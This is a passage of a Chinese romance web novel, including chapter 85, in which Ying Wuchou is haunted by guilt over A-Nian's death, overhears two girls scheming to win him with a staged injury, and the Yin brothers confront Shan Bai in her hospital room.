是,他自私,他阴暗。小时候宗执的天真憨厚,蔚年遇的阳光可爱,在他看来不过是幼稚孩童的小打小闹,跟他根本不搭扎!可是绑架犯面前,蔚年遇居然会为了他挺身而出,代他挡了那一刀,以破裂的一颗心换来他的平安……那是他人生的第二次震动,他无法视之平常。

蔚年遇后来变得怯懦,变得畏缩,对于生命开始无谓。他关照阿年,可是耐心有限。只是没想到……到了最后,阿年的死,居然对他震动出乎自己预料的那般……强烈,痛楚。

从小,他母亲生他时难产而亡,父亲并不喜欢他。长姐如母,虽然大姐当时也还年轻,可他也算是她一手带大。

后来,慈姐出现。

才两岁的他早已在应家复杂的人事环境下早早通了心智,冷漠以待,想不到却根本无力抗拒慈姐的温情柔美。

君生我未生,我生君已老。

再怎样心思深沉,可他的年纪摆在那,却是分不清,对于慈姐,自己到底是个什么心态。

恨不生同时,日日与君好。

整整三年。三年之后,他也不过五岁,而慈姐失踪,数十年再不出现。

他找,四下里寻找,用尽各种方法手段,却始终无所获。

我离君天涯,君隔我海角。

等到再次出现,他已然成了害死心里那人的侩子手。即便只是无意。

他分明知道,只是不愿去想,阿年之于那个少女,其实比对自己重要太多太多。阿年不过是他的救命恩人,他也可以是养不熟的狼;然而之于单白,却是她的救命稻草,她的浮木,她寄托的一切,所奢望的一切美好!

他怨她害死阿年,可他又做了什么?阿年的情况,又是谁造成的?——是他!

应无俦猛地自水中抬头,水花哗哗泼在眼前的镜面上,模糊一片。水珠自光洁的镜面缓缓滑落,显露出他狰狞而破碎的面容。

他死死压抑着狂乱的心跳。不要想,千万不要想……他的心态可议,不能说,不能说!

可是……

当初,为什么知道她叛逃,会那么激动?——那时他们几个,谁都没有表露出内心情态,可是最后,各施手段,哪一个不是用尽全功去找寻那一个叛离的,所谓的……玩物。

为什么,知道阿年死去,除了无法压抑的愤怒,却又舒出一口气,以最快的速度,最便捷的方式自蔚家得到讯息,最先找到那个少女?

为什么……那个雨夜,明明是他将她一手推进亲人背叛宿命沉痛的漩涡,之后却想要带走她,将之牢牢禁锢起来,再不让任何人发现她?——只是,等到他下定决心再回去找寻时,她已不见踪影,自此消失,一别四月。(那时已被无我带走)应无俦狠狠擦了一把脸,将头发缕到后面,露出湿漉漉的脸庞来,面上写满疲倦。

他一步一步走出洗手间的门,沿着静默的长廊,慢慢向医务室外走去。

途中经过唐蜜的病房,想起她也受了伤,抬手正要推门进入,却又僵立当场。

第85话 谁归谁属

田欢坐在唐蜜床边,看着唐蜜头上一圈一圈缠紧的纱布,底下用红药水晕染开,造成一片“看上去”比较严重伤势的脑袋,不禁叹了口气。她自床头的果盘上取了个苹果,一点点削了递给唐蜜。

若换做以往,她可不会这么伺候旁人。不过在她们落难到右院,又被单白拖进计划中,一直是唐蜜挨打受累外加演戏做作,辛苦极了,她在旁边打酱油,总这么闲闲看戏也会不好意思的不是咩。

唐蜜眯着眼,目光满是阴冷,俨然已非昨日那个状似天真其实也确实比较天真的少女。再怎么纯白无暇,在如今接二连三的痛虐中也该长点脑子了!

“嘶……”

刚要说话便扯动脸颊边的小伤口和肿胀的皮肉,唐蜜勉强扯了扯嘴角,露出一个形状非常奇怪的笑容,看起来煞是恐怖,“这单白……他妈的,还真是下了狠手!想叫我毁容啊?”

田欢叹了口气——其实是为了掩饰快要压抑不住的笑意——故作无奈地说:“没办法啊,形势比人强!若现在是我们住进湖边别墅,成了那样有背景的人,又怎么会沦落到如今地步!——哎,你别乱动,小心脑袋上内纱布没缠紧,掉下来你就穿帮啦!”

唐蜜忙一脸紧张地赶紧探手去摸摸纱布的位置,瞪她一眼,口中说道:“不过……欢欢,你说应无俦会相信咱们这边吗?我怎么总觉着不保险呢?”

田欢巧笑倩兮,摇了摇手指,“你没看到应无俦那样子么?——这世上的男人,哪个不是大男子主义作祟,口中赞同着男女平等,又有几个是真愿意喜欢一个妒妇悍妻的?显然应无俦就是这样的,你越柔弱,他越怜惜!”

唐蜜刚想笑,结果这表情就成了再度呲牙裂嘴外加痛苦不堪的狰狞,“只是可怜我哟,挨了顿打……”

“舍不得孩子套不着狼,舍不得媳妇还就套不着内流氓!”

田欢贼豪爽地安慰她,其实看着唐蜜那猪头状,心里都快笑翻了天,也算是沦落右院皮肉人生之后的唯一笑点了!“若你这顿不是实打实的挨着,应无俦他能信吗?换了是你,苦肉计你会不信?”

唐蜜叹了口气,“那是因为挨打的不是你!”

风凉话说的这叫一个痛快利落,可下挨打出力的不是你,你尽在边上看戏发呆了你!“不过你说,这单白还真是下狠手,难道……就因为当初我们那么对她?”

田欢挑眉,同仇敌忾地说:“不就是关了她一次,害她腿瘸了几天么!至于现在趾高气昂地拿咱们当奴才使唤?我真他XX的看不惯她那小人得志的样儿!”

“可人家就小人得志了吧,咱们又能怎么办!”

唐蜜不耐烦地挥挥手,“所以说,要是以后能攀上应无俦这条大鱼,咱们也就不需要再去右院了吧……”

后一句,却又说的底气不足。显然唐蜜是被那段在右院暗无天日的生活整怕了,现在一想起来,根本信心全无,全身哆嗦。

田欢一想起单白叛逃那日,也就是她们替罪及被糟蹋之日的开始,她那心头火就蹭的一下全冒了上来!

“真他x的是当了婊子还想立牌坊的主儿!”

田欢恶狠狠骂道,“当初咱们咋就没看穿那是个陷阱!”

唐蜜自然也是沮丧,跟着大骂单白:“就是!咱们不过是想借她的道儿,认识认识殷学长,至于被她嫉恨着这么久,像守着自己窝一样地防贼防任何人吗?她以为她是谁?连情妇都不是,也就是那些大少空闲时的玩具而已!”

“偏就当时殷学长对她那么在意!咱们不过是借机搭个话,居然成了那贱人逃跑的跳板!——咱们也太命苦了吧!呸呸,都是单白那个贱人!贱人!”

“贱人!——对,她就是个贱人!把咱们害得这么惨还不够,还整天虐我,看我作出柔弱的样子,又打又骂!还说我别在她面前装成那副绵羊状,分明跟那个人不像,也不配!”

“……不过话说回来,‘那个人’……究竟是谁?”

应无俦听不下去,踉踉跄跄逃离,速度飞快,仿佛身后厉鬼随身,紧追不舍。

那个人?他知道那个人是谁,也知道那个人在她心里代表的,是比他心里所存在的还要深重的意义!

他终于想起,为何当初看到唐蜜感到眼熟了。——她和田欢,分明就是单白逃跑那日,被两个女生因着嫉妒和想要靠近殷夺搭话,而被沾了半身蛋糕污渍的始作俑者!

她们并不单纯,还拿他当冤大头,准备狠狠宰一顿。——他是不是应该庆幸,自己居然听到这样的言论,对唐蜜田欢二人的品性失望之后,自觉庆幸拜托这样的吸血蛭呢?

单白的狠,仍在。可是此时,却令人不禁想起更多她的委屈她的挣扎,她的痛苦认命,以及之后在阿年的帮助下,她顺利逃脱,与阿年甜蜜离去。

当初她越甜蜜,现在她就会越恨。

恨他吧,恨任何人吧,于是迁怒给当初也欺辱过她的那两个女孩。他现在几乎可以将心比心,若是换了自己被人算计,恐怕自己回神之后办了对方都有可能。

应无俦不敢再想,一路跌跌撞撞,回到别墅,然而想到阿年也曾住在这里,几乎又要崩溃。

他亏欠她,太过深重,根本无法计算。

而他,已然不知所措。

******

陶煜千算是自立门户,起先总是忙得不可开交。宗执被自家父母叫走,一方面为了家族生意出面,一方面也是借机私下联络人脉,为持续不断的战争奠定基础。

本是乐正骁在守着单白。他原想让她回就近的别墅,这样也方便照顾,却被她笑着推拒,问她原因,她也只是笑而不语。

他自是不能让她落单,陶煜千和宗执都有事情要做。只是没想到,他不过是被她吩咐着回去取了些东西,却被人偷了空,意图撬墙角之。

而单白却是毫不意外地望着来人,微微一笑,双眼毫无睡意,眼神清亮地望着来人,“嗨,阁下晚上如此偷偷摸摸的……这爱好可不怎么叫人欢喜呀。”

门口,那人踏前一步,将身后的门板轻轻推和,几乎没发出半点声音。只是病房内光线实在太过明亮,根本什么都遮掩不住,对方这种小心翼翼看起来就像个蹩脚的笑话一样。

“许久不见……”

来人缓缓勾起唇角,露出讽刺的笑容来,慢慢说道,“看上去,你的境况也没有想象中那么好。当初……何苦跟我们一直倔到底!”

单白轻轻拍了拍巴掌,呵呵一笑,“殷罗,或许你也可以直接说我犯贱,不就好了?——我偏爱这样折腾,哪怕自己把自己折磨透了,疯了傻了,那也是我自己选的,碍不到旁人半点!与你,又有何干?”

他皱眉,踏前一步,又一步,慢慢走近她床边,“跟我回去。我和哥,既往不咎!”

少女的双眼倏地眯了起来,掩去内里的冷厉之色。

“殷罗,你错了!”

少女直直指着他面前,冷哼一声,“不要在我面前说这种笑死人的大话!现在请你明白,既往不咎的,是我,只是我!”

她冷冷瞪视着他,眼神冰寒,几乎能够化作锋利的刺,直直刺透殷罗的心窝!

“这个游戏,现在请你看好,究竟谁是庄,谁的筹码更大!”

殷罗嗤哼一声,针锋相对:“你以为你这就赢了?以为凭借他们三个人的力量,就能够扳倒我们殷家?——小东西,不要太小看我和哥!我会让你明白,总有一天,你会乖乖回到我们身边,求着我们放过你!”

“是么?哦,对了,话说殷二少爷怎么没拿那么一张……”

她嬉笑着以手指比划大小,“啊,就是那张卖身契!上次可真是逗得我没话说,光记着笑了,肚子都发痛!这次……我倒是还想看看,看殷家两位少爷,能再拿出什么有力度又有趣的东西来,逼我就范?”

殷罗瞪着眼睛,张了张嘴正要说什么,病房门突地被推开,正要凑近单白的殷罗被身后一只手臂强硬拦住。殷罗回头看去,自家哥哥眼里盈满怒火,嘴唇紧紧抿着,然而唇角却轻微抖了抖,显见气的不轻。

不过……不是对着他。

殷罗的视线和殷夺不约而同转向床上安稳半躺着的那个少女。现在的她已然变得太多,即便姿态如此轻松随意,却仍能流露出一股气势,丝毫不逊于他们,完全轻松地与他们唇枪舌战,不输分毫。嬉笑怒骂,冷嘲热讽,哪怕是自己轻贱自己的言语,她都信手拈来,应用得如此得心应手,就为了打击他们,不遗余力!

“哥,她……我……”

殷夺恶狠狠地丢给弟弟一个“你够了”的眼神,大力拉着他向门外走。

身后,只听单白轻松愉悦的声音,说着毫无辗转余地的冷峭言辞——“记住!我要让你们,跪着求我,求我留下来,求我亲自折磨你们!”

殷罗气不过,没回头,梗着脖子吼了一嗓子:“做梦!”

直到回了殷宅,殷夺才冷笑着说:“你还去看她做什么?难道你还不清楚,现在她那里根本铁桶似的,分明是被那三个人的势力层层监管,哪里是你插得上手的!”

“她受伤了……”

殷罗喃喃着,想想,又义愤填膺起来,“她说要让咱们求她!——怎么可能?”

殷夺狠狠瞪他一眼,“如果你再这样冲动,总有一天,绝对是你先跪在她面前!”